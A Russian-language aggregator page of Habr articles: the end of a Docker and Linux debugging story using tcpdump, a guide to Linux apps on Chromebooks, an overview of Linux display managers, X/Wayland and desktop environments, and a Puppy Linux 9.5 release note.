Но ему стало интересно, можно ли посмотреть весь трафик, идущий в контейнер (или из контейнера), прям с хоста. У tcpdump есть возможность выводить трафик какого-либо интерфейса (опция -i), каждому контейнеру соответствует один виртуальный интерфейс veth (это можно увидеть, например, через ifconfig или ip a), но как понять, какому контейнеру какой интерфейс соответствует? Если контейнер не использует host networking, то внутри него будет сетевой интерфейс eth0, через который он может общаться по сети с другими контейнерами и хостом. Остаётся лишь найти, ifindex какого интерфейса на хосте совпадает с iflink интерфейса eth0 контейнера (что это означает можно почитать здесь).

[root@ivan ~]# for f in `ls /sys/class/net/veth*/ifindex`; do echo $f; cat $f; done | grep -B 1 `docker exec test_service_container cat /sys/class/net/eth0/iflink` | head -1/sys/class/net/veth6c18dba/ifindex

Теперь можно запускать tcpdump для интерфейса veth6c18dba:

tcpdump -i veth6c18dba

Но есть способ проще: можно найти IP-адрес контейнера в его сети и слушать трафик на нём:

[root@ivan ~]# docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' test_service_container172.17.0.10[root@ivan ~]# tcpdump -i any host 172.17.0.10

Вывод: дебаг в Docker-контейнере это не страшно. Утилиты в нём работают, а для чтения логов можно использовать docker logs.

Выводы


Как ответственный инженер, Ваня решил кратко законспектировать новую для себя информацию во внутренней базе знаний. Вот что он написал:

  • Логи лучший друг человека. Если встречается неожиданное поведение сервиса и при этом он не пишет ничего в лог это повод попросить разработчиков добавить логов.
  • Иногда бывает, что локализовать ошибку надо, даже если в логах ничего нет. К счастью, в Linux есть много утилит, которые помогают с этим.
  • С дебагом любых сетевых коммуникаций помогает tcpdump. Он помогает видеть, какой трафик откуда и куда идёт на сервере.
  • Заглянуть внутрь процесса помогают утилиты strace, ltrace и gdb.
  • Всё это можно использовать, если сервис работает в Docker-контейнере.
  • Много информации о процессе есть в директориях /proc/PID. Например, в /proc/PID/fd находятся симлинки на все открытые процессом файлы.
  • Также помочь получить различную информацию о системе, файлах или процессах могут утилиты ps, ls, stat, lsof, ss, du, top, free, ip, ldconfig, ldd и прочие.

Надеюсь, вам была полезна эта история, и хотя бы однажды она поможет вам понять, в чём дело, когда вы будете что-то дебажить в Linux. Если Ваня что-то упустил, делитесь этим в комментариях!
Подробнее..

Перевод Запуск Linux-приложений на Chromebook

24.09.2020 10:22:34 | Автор: admin


Появление Chromebook стало важным моментом для американских систем образования, позволив им покупать недорогие ноутбуки для учеников, учителей и администраторов. Хотя Chromebook всегда работали под управлением операционной системы на основе Linux (Chrome OS), до недавнего времени большинство Linux-приложений на них запустить было невозможно. Однако всё изменилось, когда Google выпустила Crostini виртуальную машину, позволяющую запускать на Chromebook ОС Linux (бета).

Большинство Chromebook, выпущенных после 2019 года, а также некоторые более старые модели, способны работать с Crostini и Linux (бета). Узнать, находится ли ваш Chromebook в списке поддерживаемых устройств, можно здесь. К счастью, мой Acer Chromebook 15 с 2 ГБ ОЗУ и процессором Intel Celeron поддерживается.


(Don Watkins, CC BY-SA 4.0)

Если вы планируете устанавливать много Linux-приложений, то рекомендую использовать Chromebook с 4 ГБ ОЗУ и большим объёмом свободного пространства на диске.

Настройка Linux (бета)


Войдя в систему Chromebook, переместите курсор мыши в нижний правый угол экрана, где расположены часы, и нажмите левой клавишей. Откроется панель, сверху которой будут перечислены опции (слева направо): выход, завершение работы, блокировка и открытие параметров. Выберите значок параметров (Settings).


(Don Watkins, CC BY-SA 4.0)

В левой части панели Settings вы увидите в списке Linux (Beta).


(Don Watkins, CC BY-SA 4.0)

Нажмите на Linux (Beta), и в основной панели появится опция его запуска. Нажмите на кнопку Turn on.


(Don Watkins, CC BY-SA 4.0)

После этого запустится процесс настройки окружения Linux на Chromebook.


(Don Watkins, CC BY-SA 4.0)

Затем вам предложат ввести Username и нужный размер установки Linux.


(Don Watkins, CC BY-SA 4.0)

Для установки Linux на Chromebook потребуется несколько минут.


(Don Watkins, CC BY-SA 4.0)

После завершения установки можно будет начинать работу с Linux на Chromebook. В панели меню нижней части дисплея Chromebook есть ярлык терминала текстового интерфейса, который можно использовать для взаимодействия с Linux.


(Don Watkins, CC BY-SA 4.0)

Можно воспользоваться стандартными командами Linux, например ls, lscpu и top, чтобы получить больше информации об окружении. Приложения устанавливаются командой sudo apt install.

Устанавливаем первое Linux-приложение


Возможность установки и запуска свободного ПО с открытым исходным кодом на Chromebook позволяет реализовать широкие возможности.

Первым делом я рекомендую установить приложение Mu editor для Python. Установим его, введя в терминал следующее:

$ sudo apt install mu-editor

Для установки потребуется чуть больше пяти минут, но в конечном итоге вы получите возможность пользоваться отличным редактором кода на Python.

Я с огромным успехом использовал Mu и Python в качестве инструмента обучения. Например, я учил своих студентов писать код для модуля turtle языка Python и исполнять его для создания графики. Меня расстроило то, что не удалось использовать Mu с открытой аппаратной платой BBC:Microbit. Несмотря на то, что Microbit подключается к USB и в виртуальном окружении Linux на Chromebook есть поддержка USB, заставить её работать мне не удалось.


(Don Watkins, CC BY-SA 4.0)

После установки приложения оно отобразится в специальном меню Linux Apps, которое показано в нижнем правом углу скриншота.


(Don Watkins, CC BY-SA 4.0)

Установка других приложений


Можно устанавливать не только язык программирования с редактором кода. На самом деле, вы можете установить большинство ваших любимых приложений с открытым исходным кодом.

Например, такой командой можно установить пакет LibreOffice:

$ sudo apt install libreoffice

Аудиоредактор с открытым исходным кодом Audacity один из моих любимых учебных приложений. Микрофон моего Chromebook работает с Audacity, благодаря чему я с лёгкостью могу создавать подкасты или редактировать бесплатные звуки из Wikimedia Commons. Установить Audacity на Chromebook легко запустив виртуальное окружение Crostini, откройте терминал и введите следующее:

$ sudo apt install audacity

Затем запустите Audacity из командной строки или найдите его в разделе Linux Apps меню Chromebook.


(Don Watkins, CC BY-SA 4.0)

Также я с лёгкостью установил TuxMath и TuxType пару замечательных образовательных программ. Мне даже удалось установить и запустить редактор изображений GIMP. Все Linux-приложения берутся из репозиториев Debian Linux.


(Don Watkins, CC BY-SA 4.0)

Передача файлов


В Linux (бета) есть утилита для резервного копирования и восстановления файлов. Также можно передавать файлы между виртуальной машиной Linux (бета) и Chromebook, открыв на Chromebook приложение Files и нажав правой клавишей на той папке, которую вы хотите передать. Можно передать все файлы с Chromebook или создать специальную папку для общих файлов. Находясь в виртуальной машине Linux, доступ к папке можно получить, перейдя к /mnt/chromeos.


(Don Watkins, CC BY-SA 4.0)

Дополнительная информация


Документация по Linux (бета) очень подробна, поэтому внимательно её изучите, чтобы узнать о возможностях. Вот некоторые важные аспекты, взятые из документации:

  • Камеры пока не поддерживаются.
  • Android-устройства поддерживаются через USB.
  • Аппаратное ускорение пока не поддерживается.
  • Доступ к микрофону есть.

Пользуетесь ли вы Linux-приложениями на Chromebook? Расскажите об этом в комментариях!



На правах рекламы


VDSina предлагает серверы в аренду под любые задачи, огромный выбор операционных систем для автоматической установки, есть возможность установить любую ОС с собственного ISO, удобная панель управления собственной разработки и посуточная оплата.

Подробнее..

Как устроена графика в Linux обзор различных сред оформления рабочего стола

01.09.2020 10:05:42 | Автор: admin
Эта статья о том, как устроена графика в Linux и из каких компонентов она состоит. В ней много скриншотов с различными реализациями сред рабочих столов.

Если вы не сильно различаете KDE и GNOME или различаете, но хотели бы узнать, какие еще есть альтернативы, то эта статья для вас. Она обзорная, и хотя в ней много названий и немного терминов, материал будет также полезен начинающим и только посматривающим в сторону Linux.

Тема может заинтересовать и продвинутых пользователей при настройке удаленного доступа и при реализации тонкого клиента. Часто встречаю вполне матерых линуксойдов с утверждениями на сервере только командная строка, и графику подробнее изучать не планирую, так как это всё нужно для простых пользователей. Но даже знатоки Linux с большим удивлением и радостью открывают для себя опцию -X у команды ssh (а для этого полезно понимать работу и функции X-сервера).

Источник

Я почти 15 лет обучаю на курсах Linux в Сетевой Академии ЛАНИТ и уверен, что многие из тех более пяти тысяч человек, которых обучил, читают и наверняка пишут статьи на Хабр. Курсы всегда очень насыщены (средняя продолжительность курса пять дней), нужно рассказать темы, на полноценное знакомство с которыми требуется минимум дней десять. И всегда в ходе курса в зависимости от аудитории (новички собрались или матерые администраторы), а также от вопросов из зала я делаю выбор, что донести подробнее, а что более поверхностно, чтобы посвятить больше времени утилитам командной строки и их практическому применению. Таких тем, которыми приходится немного жертвовать, достаточно. Это История Linux, Различия в дистрибутивах Linux, Про лицензии: GPL, BSD, ..., Про графику и среды рабочих столов (тема этой статьи) и др. Не то, чтобы они не важны, но обычно есть множество более актуальных здесь и сейчас вопросов и всего каких-то пять дней Однако для общего понимания основ ОС Linux, понимания доступного разнообразия (чтобы даже пользуясь одним конкретным дистрибутивом Linux, всё-таки иметь более широкий взгляд на весь этот огромный и необъятный мир, что зовется Linux) изучать эти темы полезно и нужно.

По ходу статьи по каждому компоненту я указываю ссылки для тех, кому захочется глубже погрузиться в тему, например, на статьи в Википедии (при этом указываю на более полную/полезную версию при наличии англоязычной и русскоязычной статей).

Для основных примеров и скриншотов я использовал дистрибутив openSUSE. Можно было использовать любой другой дистрибутив, разрабатываемый сообществом, с наличием большого количества пакетов в репозитории. Сложно, но возможно, продемонстрировать многообразие оформления рабочего стола на коммерческом дистрибутиве, так как часто в них используются только одна или две наиболее известных сред рабочего стола. Так разработчики сужают себе задачу выпуска стабильной отлаженной ОС. На данную же систему я установил все DM/DE/WM (объяснение этих терминов ниже), которые нашёл в репозитории.

Скриншоты с синими рамками как раз и сделаны на openSUSE.

Скриншоты с белыми рамками делал на других дистрибутивах, они указаны на скриншоте.

Скриншоты с серыми рамками были взяты из интернета, в качестве примеров оформлений рабочего стола из прошлых лет.

Итак, начнём.

Основные компоненты, из которых состоит графика


Выделю три основные компонента и перечислю их в порядке, как они запускаются при старте системы:

  1. DM (Display Manager);
  2. Display Server;
  3. DE (Desktop Environment).

Дополнительно в качестве важных подпунктов у Desktop Environment:

  • Apps Manager/Launcher/Switcher (кнопка Пуск);
  • WM (Window Manager);
  • различное ПО, поставляемое вместе со средой рабочего стола.

Подробнее по каждому пункту.

DM (Display Manager)


Первое приложение, которое запускается при старте графики, это DM (Display Manager), дисплейный менеджер. Его основные задачи:

  • спросить, каких пользователей пустить в систему, запросить аутентификационные данные (пароль, отпечаток пальца);
  • выбрать, какую среду оформления рабочего стола запустить.

На текущий момент в различных дистрибутивах широко используются:

  • SDDM (сменил KDM),
  • GDM,
  • LightDM,
  • XDM.
  • Также можно упомянуть Fly-DM (используемый в AstraLinux).

Список существующих DM ведётся в актуальном состоянии в Wiki-статье.





Стоит отметить, что на следующих скриншотах используется один и тот же дисплейный менеджер LightDM, но в разных дистрибутивах (названия дистрибутивов указаны в круглых скобках). Оцените, насколько по-разному может выглядеть этот DM благодаря работе дизайнеров различных дистрибутивов.






Главное в этом многообразии, чтобы было понятно, что есть такое приложение, которое отвечает за запуск графики и допуск пользователя к этой графике, и есть разные реализации этого приложения, различающиеся внешним видом и немного функционалом (выбор сред оформления, выбор пользователей, версия для плохо видящих пользователей, наличие возможности удаленного доступа по протоколу XDMCP).

Display Server


Display Server это некий фундамент графики, основная задача которого работать с видеокартой, монитором и с различными устройствами ввода (клавиатура, мышь, тачпады). То есть приложению (например, браузер или текстовый редактор), которое отрисовывается в графике, не нужно знать, как напрямую работать с устройствами, не нужно знать про драйверы. Это всё на себя берет X Window.

Когда говорится про Display Server, то много лет в Linux, да и в Unix имелось в виду приложение X Window System или в простонародье X (Иксы).

Сейчас во многих дистрибутивах на смену X внедряют Wayland.

Также можно почитать:


Для начала запустим X'ы и несколько графических приложений в них.

Практикум запускаем Х и приложения в нём


Выполнять всё буду от свежесозданного пользователя webinaruser (проще, но не безопаснее было бы всё выполнить от root'а).

  • Так как Х'ам нужен доступ к устройствам, даю доступ: Список устройств определил посмотрев ошибки при запуске Х'ов в логе (/home/webinaruser/.local/share/xorg/Xorg.77.log)

% sudo setfacl -m u:webinaruser:rw /dev/tty8 /dev/dri/card0 /dev/fb0 /dev/input/*

  • После этого запускаю X'ы:

% X -retro :77 vt8 &

Опции: * -retro запускают с серым классическим фоном, а не с чёрным как по умолчанию; * :77 задаю (можно любой в разумном диапазоне, только :0 уже скорее всего занят под уже запущенную графику) номер экрана, фактический некий уникальный идентификатор, по которому можно будет различать несколько запущенных X'ов; * vt8 указывает терминал, здесь /dev/tty8, на котором будут отображаться X'ы).

  • Запускаем графическое приложение:

Для этого предварительно задаём переменную, по которой приложение будет понимать, в какие из запущенных у меня X'ов отсылать то, что нужно нарисовать:

% export DISPLAY=:77

Посмотреть список запущенных X'ов можно так:

ps -fwwC X

После того, как задали переменную, можно запускать приложения в наши X'ы например, запускаю часы:

% xclock -update 1 &

% xcalc &

% xeyes -g 200x150-300+50 &



Основные идеи и выводы из этого фрагмента:

  • X'ам требуется доступ к устройствам: терминалу, видеокарте, устройствам ввода,
  • Сами X'ы никаких элементов интерфейса не отображают это серое (если с опцией --retro) или чёрное полотно определённых размеров (например, 1920x1080 или 1024x768), чтобы запускать в нем графические приложения.
  • По движению крестика видно, что X'ы отслеживают положения мыши и передают эту информацию запущенным в нём приложениям.
  • Также X'ы отлавливают нажатия клавиш на клавиатуре и передают эту информацию приложениям.
  • Переменная DISPLAY указывает графическим приложениям, в каком экране (каждые X'ы при запуске запускаются с уникальным номером экрана), а следовательно и в какие из запущенных на моей машине, нужно будет рисовать X'ы. (Также есть возможность в этой переменной указать удалённую машину и отсылать вывод на X'ы, запущенные на другой машине в сети.) Так как X'ы запускали без опции -auth, поэтому нет необходимости разбираться с переменной XAUTHORITY или с командой xhost.
  • Графические приложения (или как их называют X-клиенты) отрисовываются в X'ах при этом без возможности их перемещать/закрывать/изменить -g (Ширина)x(Высота)+(СдвигОтЛевогоКрая)+(СдвигОтВехнегоКрая). Со знаком минус соответственно от правого и от нижнего края.
  • Два термина, которые стоит озвучить: X-сервер (так называют X'ы) и X-клиенты (так называют любое графическое приложение, запускаемое в X'ах). Есть небольшая путаница в понимании этой терминологии, многие понимают её в точности до наоборот. В случае, когда я с клиентской машины (в терминологии удалённого доступа) подключаюсь к серверу (в терминологии удалённого доступа), чтобы отобразить на своём мониторе графическое приложение с сервера, то X-сервер запускается на той машине, где монитор (то есть на клиентской машине, а не на сервере), а X-клиенты запускаются и работают на сервере, хоть и отображаются на мониторе клиентской машины.


Компоненты DE


Далее разберём компоненты, из которых обычно состоит рабочий стол.

Компоненты DE: кнопка Пуск и Панель задач


Начнём с так называемой кнопки Пуск. Часто это отдельный апплет, используемый на Панели задач. Также там обычно имеется апплет для переключения между запущенными приложениями.


Посмотрев на разные среды рабочих столов, я обобщил бы подобные приложения под общим названием Apps Manager (Launcher/Switcher), то есть инструмент для управления приложениями (запуска и переключением между запущенными), а также укажу утилиты, которые являются примером приложения данного типа.

  • Бывает в виде кнопки Пуск на классической (во всю длину одного из краёв экрана) Панели задач:

    xfce4-panel,
    mate-panel/gnome-panel,
    vala-panel,
    tint2.
  • Также можно отдельно выделить MacOS-образные панели задач (не на всю длину края экрана), хотя многие панели задач могут отображаться в обоих вариантах. Тут скорее главное отличие чисто визуальное наличие эффекта увеличения пиктограмм при наведении.

    docky,
    latte-dock,
    cairo-dock,
    plank.
  • И/Или службы, запускающей приложения при нажатии горячих клавиш (во многих средах рабочего стола аналогичный компонент обязательно присутствует и позволяет настроить свои собственные горячие клавиши):

    sxhkd.
  • Также имеются различные меню-образные лаунчеры (от англ. Launch (запускать)):

    dmenu-run,
    rofi -show drun,
    albert,
    grun.


Компоненты DE: WM (Window Manager)


Подробнее на русском

Подробнее на английском

WM (Оконный менеджер) некое приложение, которое отвечает за управление окнами, добавляет возможность:

  • перемещений окон по рабочему столу (в том числе стандартное с зажатием клавиши Alt за любую часть окна, а не только за заголовок);
  • изменение размеров окон, например, перетаскивая за рамку окна;
  • добавляет к интерфейсу окна заголовок (title) и кнопки сворачивания/разворачивания/закрытия приложения;
  • понятие, какое приложение находится в фокусе.


Перечислю наиболее известные (в круглых скобках указываю, в каком DE используется по умолчанию):



Также перечислю старые WM с элементами DE. Т.е. помимо оконного менеджера в них имеются элементы типа кнопки Пуск и Панели задач, более присущие полноценным DE. Хотя какие они старые, если и IceWM, и WindowMaker уже выпустили свои обновлённые версии в 2020 году. Получается, что корректнее не старые, а старожилы:







Помимо классических (стековых оконных менеджеров) стоит отдельно отметить тайловые WM, которые позволяет размещать окна черепицей по всему экрану, а также для некоторых приложений отдельный рабочий стол для каждого запускаемого приложения на весь экран. Это немного не привычно для людей, ранее их не использовавших, но так как я сам достаточно давно использую такой интерфейс, могу сказать, что это вполне удобно и быстро привыкаешь к такому интерфейсу, после чего уже классические оконные менеджеры не кажутся удобными.



Также стоит отдельно упомянуть проект Compiz и такое понятие, как Композитный менеджер окон, использующий возможности аппаратного ускорения для отображения прозрачности, теней, различных трёхмерных эффектов. Около 10 лет назад был бум 3D-эффектов на Linux-десктопах. Сейчас многие из оконных менеджеров, встроенных в DE, частично используют композитные возможности. Недавно появился Wayfire продукт с аналогичным Compiz функционалом под Wayland.


Подробный список различных оконных менеджеров также можно посмотреть в статье-сравнении.

Компоненты DE: остальные


Также стоит отметить следующие компоненты рабочего стола (здесь использую английские устоявшиеся термины для описания разновидности приложения это не названия самих приложений):

  • Applets(Аплеты):
  • ПО (Widget toolkit) часто со средой поставляется некий минимальный набор ПО:

DE (Desktop Environment)


Подробнее на английском

Из перечисленных выше компонентов получается так называемая Среда оформления рабочего стола. Часто все её компоненты разрабатываются с использованием одних и тех же графических библиотек и с использованием одинаковых принципов оформления. Тем самым, как минимум, выдерживается общий стиль для внешнего вида приложений.

Здесь можно выделить следующие существующие на данный момент среды рабочего стола:


Наиболее распространёнными считаются GNOME и KDE, ну и на пятки им наступает XFCE.


Сравнение по различным параметрам в виде таблицы можно посмотреть в соответствующей статье Википедии.

Многообразие DE



Project_Looking_Glass

Даже есть такие интересные примеры уже из истории: в 2003-2007 годах для Linux было сделано 3D-оформление рабочего стола с названием Project Looking Glass от фирмы Sun. Я сам пользовался этим рабочим столом, точнее игрался, так как пользоваться было тяжело. Это 3D-оформление было написано на Java во времена, когда не было ещё видеокарт с поддержкой 3D. Потому все эффекты пересчитывались процессором, и компьютер должен был быть очень мощным, иначе все работало медленно. Но зато получалось красиво. Трёхмерные плашки приложений можно было поворачивать/разворачивать. Можно было поворачиваться в цилиндре рабочего стола с обоями из панорамы в 360 градусов. Было несколько своих красивых приложений: например, прослушивание музыки в виде смены CD-дисков и т. д. Можно на youtube посмотреть видео про этот проект, только качество этих видео скорее всего будет плохим, так как в те годы не было возможности загрузить видео высокого качества.


Xfce

Легковесный рабочий стол. Существует проект достаточно давно, с 1996 года. В последние годы достаточно популярен, в противовес более тяжёлым KDE и GNOME, на многих дистрибутивах которым требуется лёгкий и классический интерфейс рабочего стола. В нем имеется много настроек и большое количество своих программ: терминал (xfce4-terminal), файловый менеджер (thunar), просмотрщик картинок (ristretto), текстовый редактор (mousepad).



Pantheon

Используется в дистрибутиве Elementary OS. Тут можно сказать, что есть рабочие столы, которые разрабатываются и используются в рамках одного отдельного дистрибутива и не сильно используются (если не сказать совсем не используются) в других дистрибутивах. По крайней мере они пока не набрали популярность и не убедили большую часть аудитории в преимуществах своего подхода. Pantheon ставит перед собой задачу построить интерфейс, похожий на macOS.


Вариант с dock-панелью:


Enlightenment

Сильный уклон в графические эффекты и виджеты (ещё со времён, когда другие рабочие среды не имели виджеты на рабочем столе, например, календарь/часы). Использует свои библиотеки. Имеется большой набор своих красивых приложений: терминал (Terminology), видеоплеер (Rage), просмотр картинок (Ephoto).


Moksha

Это форк Enlightenment17, который используется в дистрибутиве BodhiLinux.


GNOME

Изначально классический интерфейс рабочего стола, созданный в противовес KDE, который был написан на библиотеке QT, на тот момент распространяющийся по лицензии, не очень удобной для коммерческих дистрибутивов.


GNOME_Shell

С третьей версии GNOME стал поставляться с оболочкой GNOME Shell, имеющей неклассический вид, что понравилось не всем пользователям (любые резкие изменения в интерфейсах пользователями сложно принимаются). Как следствие появление форк-проектов, продолжающих развитие этого рабочего стола в классическом стиле: MATE и Cinnamon. Используется по умолчанию во многих коммерческих дистрибутивах. Имеет большое количество настроек и своих приложений.


MATE

Появилась на основе GNOME2 и продолжает развитие этой среды оформления. Имеет большое количество настроек и форков приложений, которые использовались еще в GNOME2 (употребляются новые имена) для того, чтобы не путать форки с их новой версией для GNOME3).


Cinnamon

Форк GNOME Shell, предоставляющий пользователям интерфейс в классическом стиле (как это было в GNOME2).

Имеет большое количество настроек и те же приложения, что и для GNOME Shell.


Budgie

Форк GNOME в классическом стиле, который развивался в рамках дистрибутива Solus, но сейчас также поставляется в рамках самостоятельного рабочего стола на различных других дистрибутивах.


KDE_Plasma (или, как часто называют, просто KDE)

Среда рабочего стола, развиваемая в рамках проекта KDE.

Имеет огромное количество настроек, доступных простому пользователю из графического интерфейса и много графических приложений, развиваемых в рамках этого рабочего стола.


Trinity

В 2008 году KDE выпустила свою новую реализацию KDE Plasma (был сильно переписан движок рабочего стола). Также, как и с GNOME/MATE, не всем фанатам KDE это понравилось. В результате появился форк проекта, продолжающий развитие предыдущей версии, под названием TDE (Trinity Desktop Environment).


Deepin_DE

Одна из новых сред рабочего стола, написанная с использованием Qt (на котором написан KDE). Имеет много настроек и достаточно красивый (хотя это субъективное понятие) и проработанный интерфейс. Разрабатывается в рамках дистрибутива Deepin Linux. Также есть пакеты под другие дистрибутивы


Fly

Пример среды рабочего стола, написанной с использованием Qt. Разрабатывается в рамках дистрибутива Astra Linux.


LXQt

Легковесная среда рабочего стола. Как и несколько предыдущих примеров, написана с использованием Qt. Фактически является продолжением проекта LXDE и результатом объединения с проектом Razor-qt.

Как видите, рабочий стол в Linux может выглядеть очень по-разному и на вкус любого здесь найдётся подходящий интерфейс: от очень красивых и с 3D-эффектами до минималистических, от классических до необычных, от активно использующих ресурсы системы до легковесных, от больших экранов до планшетов/смартфонов.

Ну и хочется надеяться, что у меня получилось дать представление о том, из каких основных компонентов состоит графика и рабочий стол в ОС Linux.

Материал для этой статьи был обкатан в июле 2020 года на вебинаре. Его можно посмотреть здесь.

На этом всё. Надеюсь, было полезно. Если есть какие-то вопросы и комментарии, пишите. Буду рад ответить. Ну и приходите учитьсяв Сетевую Академию ЛАНИТ!
Подробнее..

Вышел Puppy Linux 9.5, дистрибутив для устаревших и слабых ПК и ноутбуков

23.09.2020 16:18:12 | Автор: admin

Разработчики Puppy Linux выпустили новый релиз 9.5 (FossaPup). Его загрузочный образ занимает всего 409 МБ. Новинка основана на пакетной базе Ubuntu 20.04 и Woof-CE, инструмента, который дает возможность использовать пакетные базы сторонних дистрибутивов.

По словам разработчиков, использование Ubuntu в качестве основы дало возможность сократить время подготовки и тестирования релиза, а также обеспечить максимальную совместимость с репозиториями Ubuntu. При этом сохранена совместимость с пакетами Puppy.

Установка дополнительных приложений и обновление системы производится в интерфейсе Quickpet.

Что касается графического окружения, то оно основано на оконном менеджере JWM, файловом менеджере ROX, собственном наборе GUI-конфигураторов (Puppy Control Panel), виджетов (Pwidgets часы, календарь, RSS, состояние соединения и т.п.) и приложений (Pburn, Uextract, Packit, Change_kernels, JWMdesk, YASSM, Pclock, SimpleGTKradio).


Установленный браузер Palemoon. Кроме того, разработчики добавили в комплект почтовый клиент Claws mail, Torrent-клиент, мультимедийный проигрыватель MPV, аудиоплеер Deadbeef, текстовый процессор Abiword, табличный процессор Gnumeric, Samba, сервер печати CUPS.

Что нового?


  • Главное новшество использование пакетной базы Ubuntu 20.04. Это означает, что дистрибутив можно ставить лишь на машины с архитектурой x86_64. Архитектура i386 не поддерживается.
  • Ядро Linux обновлено до 5.4.53, разработчики предложили новый механизм обновления ядра.


  • С нуля переписан скрипт инициализации для initrd.gz.

  • Добавлен сервис для включения специализированных подразделов в Squash FS.


  • Переработан пакетный менеджер, разработчики расширили его функциональность и сделали проще.
  • Появилась модульная сборка, которая дает возможность заменять различные компоненты системы, включая ядро, приложения и прошивки.


  • Обновлены оконный менеджер JWM, файловый менеджер Rox, браузер Palemoon Browser, чат Hexchat, мультимедийные проигрыватели MPV, Deadbeef и Gogglesmm, почтовый клиент Claws Email, текстовый процессор Abiword, Quickpet и календарь-планировщик Osmo, а также развиваемые проектом собственные приложения Pburn, PuppyPhone, Find'n'run, Take A Gif, Uextract, Packit, Dunst-config, Picom-gtk, Transtray, Janky Bluetooth, Change_kernels, JWMdesk, YASSM, Redshift и SimpleGTKradio.


Puppy Linux разработан Барри Каулером, профессором из Австралии. Он ставил цель создать дистрибутив, который был бы максимально понятен для пользователей, имел все необходимые приложения и подходил для устаревших и слабых устройств. Этот дистрибутив работает практически на любом оборудовании и легко персонализируется.

Подробнее..

Категории

Последние комментарии

© 2006-2020, personeltest.ru